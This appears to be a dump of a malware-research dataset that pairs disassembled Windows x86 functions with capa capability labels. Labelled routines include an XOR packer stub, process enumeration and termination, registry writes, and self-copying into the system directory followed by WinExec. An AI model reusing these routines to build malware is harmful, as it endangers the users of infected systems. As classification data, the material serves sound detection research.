joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405ed8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405f3e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404690
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.004033c8
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405f28
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405f45
lea eax, [ebp - 0x10]
call fcn.00404420
ret

Function at 0x40a1b8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40a1f1
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404510
jmp 0x40a1fa
mov eax, ebx
mov edx, esi
call fcn.00404474
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40a204
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40a225
mov al, byte [esp]
jmp 0x40a227
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40a8bc
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40a724
mov eax, dword [0x41c0c8]
cmp byte [eax], 0
je 0x40a938
mov eax, dword [0x41bfe8]
call fcn.00403120
call fcn.00402aec
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00407b0c
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40a980
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40a96e
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x41bfc4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x41d660]
call fcn.00405380
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40b680
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40b6e4
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404690
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.004075f8
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b6eb
lea eax, [ebp - 0xc]
call fcn.00404420
ret
Function at 0x40b4e5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004041e5
sub ebx, ebx
cmp dword [0x434898], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40b5ba
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
pop edi
cmp edi, ebx
jne 0x40b525
xor eax, eax
jmp 0x40b67e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40b51e
push eax
call fcn.00404182
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x434898], eax
call esi
push eax
call fcn.00404182
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43489c], eax
call esi
push eax
call fcn.00404182
mov dword [0x4348a0], eax
lea eax, [ebp - 8]
push eax
call fcn.004067af
or eax, eax
pop ecx
pop ecx
je 0x40b588
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40b5ba
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00404182
cmp eax, ebx
pop ecx
mov dword [0x4348a8], eax
je 0x40b5ba
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404182
pop ecx
mov dword [0x4348a4], eax
mov eax, dword [0x4348a4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40b633
cmp dword [0x4348a8], esi
je 0x40b633
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
je 0x40b600
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4348a8]
call fcn.004041ee
pop ecx
call eax
test eax, eax
je 0x40b600
test byte [ebp - 0x18], 1
jne 0x40b633
lea eax, [ebp - 0xc]
push eax
call fcn.004067e6
test eax, eax
pop ecx
je 0x40b61b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40b62a
or dword [ebp + 0x10], 0x200000
jmp 0x40b664
or dword [ebp + 0x10], 0x40000
jmp 0x40b664
mov eax, dword [0x43489c]
cmp eax, esi
je 0x40b664
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40b664
mov eax, dword [0x4348a0]
cmp eax, esi
je 0x40b664
push dword [ebp - 4]
push eax
call fcn.004041ee
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x434898]
call fcn.004041ee
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
mov ecx, 0x45d93e8f
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e3d0
mov ecx, 0x156a6d8d
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov ebx, dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push ebx
xor edi, edi
call esi
test eax, eax
jle 0x40102c
xor byte [edi + ebx], 0xa5
push ebx
inc edi
call esi
cmp edi, eax
jl 0x401020
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
ret

Function at 0x401062
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
push edi
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [ebp - 0x128]
push eax
push ebx
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.DLL_Process32First
mov esi, 0x4030d4
mov edi, eax
push esi
call section..text
pop ecx
test edi, edi
je 0x4010f5
lea eax, [ebp - 0x104]
push eax
call fcn.00401033
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
push eax
push esi
call sub.MSVCRT.dll_strcmp
add esp, 0x10
test eax, eax
jne 0x4010dc
push dword [ebp - 0x120]
push 1
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
lea eax, [ebp - 0x128]
push eax
push ebx
call sub.KERNEL32.DLL_Process32Next
push 0x32
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40109e
push esi
call section..text
pop ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401172
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.004017f0
and byte [ebp - 0x100c], 0
push ebx
push esi
push edi
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x100b]
push 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop edi
lea eax, [ebp - 4]
push eax
push 0xf003f
mov esi, 0x4030dc
push 0
push esi
mov dword [ebp - 8], 0xfff
mov dword [ebp - 0xc], edi
call section..text
pop ecx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4011d6
xor eax, eax
jmp 0x401328
push esi
call section..text
pop ecx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0xc]
push eax
mov esi, 0x403114
push 0
push esi
call section..text
pop ecx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40120b
mov dword [ebp - 8], edi
push esi
call section..text
mov ebx, dword [ebp + 8]
pop ecx
test ebx, ebx
jne 0x401271
cmp dword [ebp - 8], edi
jbe 0x40125d
mov ebx, 0x403050
lea eax, [ebp - 0x100c]
push ebx
push eax
call fcn.00401108
pop ecx
test eax, eax
pop ecx
jne 0x401326
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x100c]
push 0x403128
push eax
call edi
lea eax, [ebp - 0x100c]
push ebx
push eax
call edi
jmp 0x4012e3
lea eax, [ebp - 0x100c]
push 0x403050
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
jmp 0x4012e6
and dword [ebp + 8], 0
cmp dword [ebx], 0
jle 0x4012e6
lea edi, [ebx + 4]
cmp dword [ebp + 8], 0x32
jge 0x4012e3
and byte [edi + 0x1f], 0
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
jle 0x4012d6
lea eax, [ebp - 0x100c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
jle 0x4012c8
lea eax, [ebp - 0x100c]
push edi
push eax
call fcn.00401108
pop ecx
test eax, eax
pop ecx
jne 0x4012d6
lea eax, [ebp - 0x100c]
push 0x403128
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x100c]
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
inc dword [ebp + 8]
add edi, 0x20
mov eax, dword [ebp + 8]
cmp eax, dword [ebx]
jl 0x40127d
push 1
pop edi
lea eax, [ebp - 0x100c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
lea eax, [ebp - 0x100c]
push eax
push edi
push 0
push esi
call section..text
pop ecx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x401316
xor edi, edi
push esi
call section..text
pop ecx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40132d
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
movzx eax, word [ebp + 0x10]
push ebx
push esi
push edi
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push eax
mov dword [ebp + 0x10], eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
push esi
mov dword [ebp + 0x14], eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x4013a4
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, ebx
je 0x4013a4
lea eax, [ebp - 4]
push ebx
push eax
push esi
push dword [ebp + 0x14]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
pop ebx
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_FreeResource]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x401450
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x660
push esi
push edi
lea eax, [ebp - 0x15c]
push 0x104
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov edi, 0x403040
push edi
call section..text
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
pop ecx
push eax
lea eax, [ebp - 0x15c]
push eax
call esi
push edi
call section..text
pop ecx
xor edi, edi
push edi
push 0x80
push 2
push edi
push 1
lea eax, [ebp - 0x15c]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, edi
mov dword [ebp + 8], eax
je 0x4015c1
push ebx
mov ebx, 0x403010
push ebx
call section..text
pop ecx
push eax
lea eax, [ebp - 0x660]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push ebx
call section..text
pop ecx
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x660]
push eax
call esi
mov ebx, 0x40301c
push ebx
call section..text
pop ecx
push eax
lea eax, [ebp - 0x660]
push eax
call esi
push ebx
call section..text
pop ecx
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x660]
push eax
call esi
mov ebx, 0x40302c
push ebx
call section..text
pop ecx
push eax
lea eax, [ebp - 0x660]
push eax
call esi
push ebx
call section..text
pop ecx
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp - 0x660]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
lea eax, [ebp - 0x660]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push 0x44
lea eax, [ebp - 0x58]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x14]
mov dword [ebp - 0x2c], 1
mov word [ebp - 0x28], di
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push edi
push pe_nt_image_headers32
push edi
push edi
lea eax, [ebp - 0x15c]
push edi
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
pop ebx
test eax, eax
je 0x4015c1
push dword [ebp - 0x10]
call esi
push dword [ebp - 0x14]
call esi
pop edi
pop esi
leave
ret
Function at 0x4015c5
Capabilities:
Copy file
Create process on windows
Create thread
Get common file path
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
push 0x403138
push dword [ebp + 0x10]
xor edi, edi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, 0x403050
test eax, eax
jne 0x401624
mov dword [ebp - 4], 1
mov edi, 0x644
push 0x403130
push edi
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
test eax, eax
mov dword [ebp + 0x10], eax
jne 0x40166f
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4015ff
and byte [0x4030cf], 0
push esi
call section..text
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp eax, 0x1f
jle 0x401648
lea eax, [eax + 0x403031]
push eax
push esi
call ebx
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push 0x4013b4
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp dword [0x403154], edi
jne 0x4015fa
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40165d
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
xor eax, eax
mov dword [ebp - 8], ecx
push eax
push eax
push eax
push 6
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
xor ecx, ecx
cmp eax, ecx
je 0x4017b0
cmp dword [ebp - 4], ecx
mov dword [0x403150], eax
jne 0x4017cb
cmp dword [ebp - 8], ecx
je 0x401794
push edi
push ecx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [0x403150]
add esp, 0xc
mov dword [eax], 1
mov eax, dword [0x403150]
add eax, 4
push esi
push eax
call ebx
mov edi, 0x104
lea eax, [ebp - 0x210]
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x10c]
push 0x403124
push eax
call edi
lea eax, [ebp - 0x10c]
push esi
push eax
call edi
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ecx, [ebp - 0x10c]
sub ecx, 4
add eax, ecx
cmp byte [eax], 0x2e
jne 0x401737
and byte [eax], 0
mov esi, 0x403048
push esi
call section..text
pop ecx
push eax
lea eax, [ebp - 0x10c]
push eax
call edi
push esi
call section..text
pop ecx
lea eax, [ebp - 0x10c]
push 0
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp - 0x10c]
push 0x40312c
push eax
call edi
lea eax, [ebp - 0x10c]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4017b9
mov ecx, dword [eax]
cmp ecx, 0x32
jge 0x4017b0
inc ecx
push esi
mov dword [eax], ecx
mov eax, dword [0x403150]
mov ecx, dword [eax]
shl ecx, 5
lea eax, [ecx + eax - 0x1c]
push eax
call ebx
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp + 8]
call fcn.00401450
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
push dword [0x403150]
call fcn.00401172
pop ecx
push 0xa
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4017cb
Function at 0x200010e7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x200010fc
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x2000110e
xor eax, eax
jmp 0x20001140
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x20001132
cmp esi, eax
jae 0x2000110a
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x20001124
cmp esi, eax
jae 0x2000110a
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop ebp
ret
Function at 0x20005331
Capabilities:
Delete file

Disassembly:
mov eax, 0x2009ac46
call fcn.2007d394
sub esp, 0x5c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor ebx, ebx
mov dword [ebp - 4], ebx
push dword [ebp + 8]
lea ecx, [ebp - 0x14]
call fcn.20004f37
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x14]
mov eax, dword [eax - 0xc]
mov dword [ebp - 0x2c], eax
cmp eax, 2
jle 0x2000537e
dec eax
push eax
lea ecx, [ebp - 0x14]
call fcn.20001f25
cmp al, 0x5c
je 0x2000537e
push 0x5c
lea ecx, [ebp - 0x14]
call fcn.20002b46
lea ecx, [ebp - 0x68]
call fcn.2007b4c7
mov byte [ebp - 4], 2
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x18]
call fcn.20002ab8
mov byte [ebp - 4], 3
push dword [ebp + 0xc]
lea ecx, [ebp - 0x18]
call fcn.200037d8
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x68]
call fcn.2007b55a
mov dword [ebp - 0x20], eax
cmp eax, ebx
jne 0x200053ef
lea ecx, [ebp - 0x1c]
call fcn.200026bf
mov byte [ebp - 4], 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.finder.FindFile
lea eax, [ebp - 0x1c]
push eax
call fcn.2000379b
add esp, 0xc
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1c]
call fcn.200026ee
lea eax, [ebp - 0x40]
push eax
call fcn.20001792
cmp dword [ebp - 0x20], ebx
je 0x200054c4
lea ecx, [ebp - 0x68]
call fcn.2007b2a8
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x68]
call fcn.2007b48e
test eax, eax
jne 0x200053f8
push 0x10
lea ecx, [ebp - 0x68]
mov eax, dword [ebp - 0x68]
call dword [eax + 0x38]
test eax, eax
jne 0x200053f8
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x68]
call fcn.2007b6e0
mov byte [ebp - 4], 5
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x68]
call fcn.2007b77f
mov byte [ebp - 4], 6
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x68]
call fcn.2007b42a
test eax, eax
je 0x200054a7
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x38]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x3c]
sbb ecx, dword [ebp - 0x34]
mov dword [ebp - 0x44], ecx
push ebx
push 0x15180
push ecx
push eax
call fcn.2007c9c0
mov esi, eax
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x4c], edx
lea ecx, [ebp - 0x48]
call fcn.200011f2
lea ecx, [esi + esi*2]
lea eax, [eax + ecx*8]
mov dword [ebp - 0x30], eax
cmp eax, ebx
jle 0x200054a7
cmp eax, 0x48
jle 0x200054a7
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x28]
call fcn.200026ee
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x24]
call fcn.200026ee
jmp 0x200053f8
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x18]
call fcn.200026ee
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x68]
call fcn.2007b4eb
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x14]
call fcn.200026ee
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x20006b09
Capabilities:
Read .ini file

Disassembly:
mov eax, 0x2009ae2a
call fcn.2007d394
sub esp, 0x10
push ebx
push esi
mov esi, ecx
lea eax, [esi + 0x90]
push eax
lea ecx, [ebp - 0x10]
call fcn.200011c0
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp dword [esi + 0x8c], ebx
jne 0x20006b52
or dword [ebp - 4], 0xffffffff
mov esi, dword [ebp - 0x10]
cmp esi, ebx
je 0x20006b4b
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
dec dword [esi + 0x18]
xor eax, eax
jmp 0x20006ca0
mov eax, dword [esi + 0x18]
cmp eax, ebx
mov dword [ebp - 0x14], ebx
je 0x20006b84
add eax, 0x10d0c
cmp dword [eax + 0x18], 0x10
jb 0x20006b6c
mov eax, dword [eax + 4]
jmp 0x20006b6f
add eax, 4
push eax
push ebx
push str.forceadplay
push str.Network
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [ebp - 0x14], eax
mov ecx, dword [esi + 0x88]
mov eax, dword [ecx]
cmp eax, ecx
push edi
mov dword [ebp - 0x1c], eax
je 0x20006c88
mov edi, dword [eax + 0x10]
cmp edi, ebx
je 0x20006c88
cmp dword [edi + 8], ebx
je 0x20006c6a
push edi
mov ecx, esi
call fcn.20006a4a
mov ebx, eax
test ebx, ebx
jne 0x20006bc8
or dword [ebp - 4], 0xffffffff
mov esi, dword [ebp - 0x10]
test esi, esi
jmp 0x20006c91
cmp dword [edi + 8], 0
jne 0x20006bee
push dword [ebp - 0x1c]
lea eax, [ebp - 0x1c]
push eax
lea ecx, [esi + 0x84]
call fcn.20003c84
mov ecx, edi
call fcn.20002cdb
push edi
call fcn.2008f9fe
pop ecx
cmp dword [ebp - 0x14], 0
je 0x20006c51
mov eax, dword [ebx + 0x94]
and dword [ebp - 0x14], 0
mov dword [ebp - 0x18], eax
push str._Y__m__d__H:_M:_S
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x18]
call fcn.20004f86
mov byte [ebp - 4], 1
lea ecx, [ebx + 0x10c]
cmp dword [ecx + 0x18], 0x10
jb 0x20006c27
mov ecx, dword [ecx + 4]
jmp 0x20006c2a
add ecx, 4
push dword [ebx + 0x80]
push ecx
push dword [eax]
push 0x200a4cec
push str.taskreturn
call fcn.20076019
add esp, 0x14
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.200026ee
or dword [ebp - 4], 0xffffffff
mov esi, dword [ebp - 0x10]
test esi, esi
je 0x20006c66
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
dec dword [esi + 0x18]
mov eax, ebx
jmp 0x20006c9f
push eax
lea eax, [ebp - 0x1c]
push eax
lea ecx, [esi + 0x84]
call fcn.20003c84
mov ecx, edi
call fcn.20002cdb
push edi
call fcn.2008f9fe
pop ecx
or dword [ebp - 4], 0xffffffff
mov esi, dword [ebp - 0x10]
cmp esi, ebx
je 0x20006c9d
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
dec dword [esi + 0x18]
xor eax, eax
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret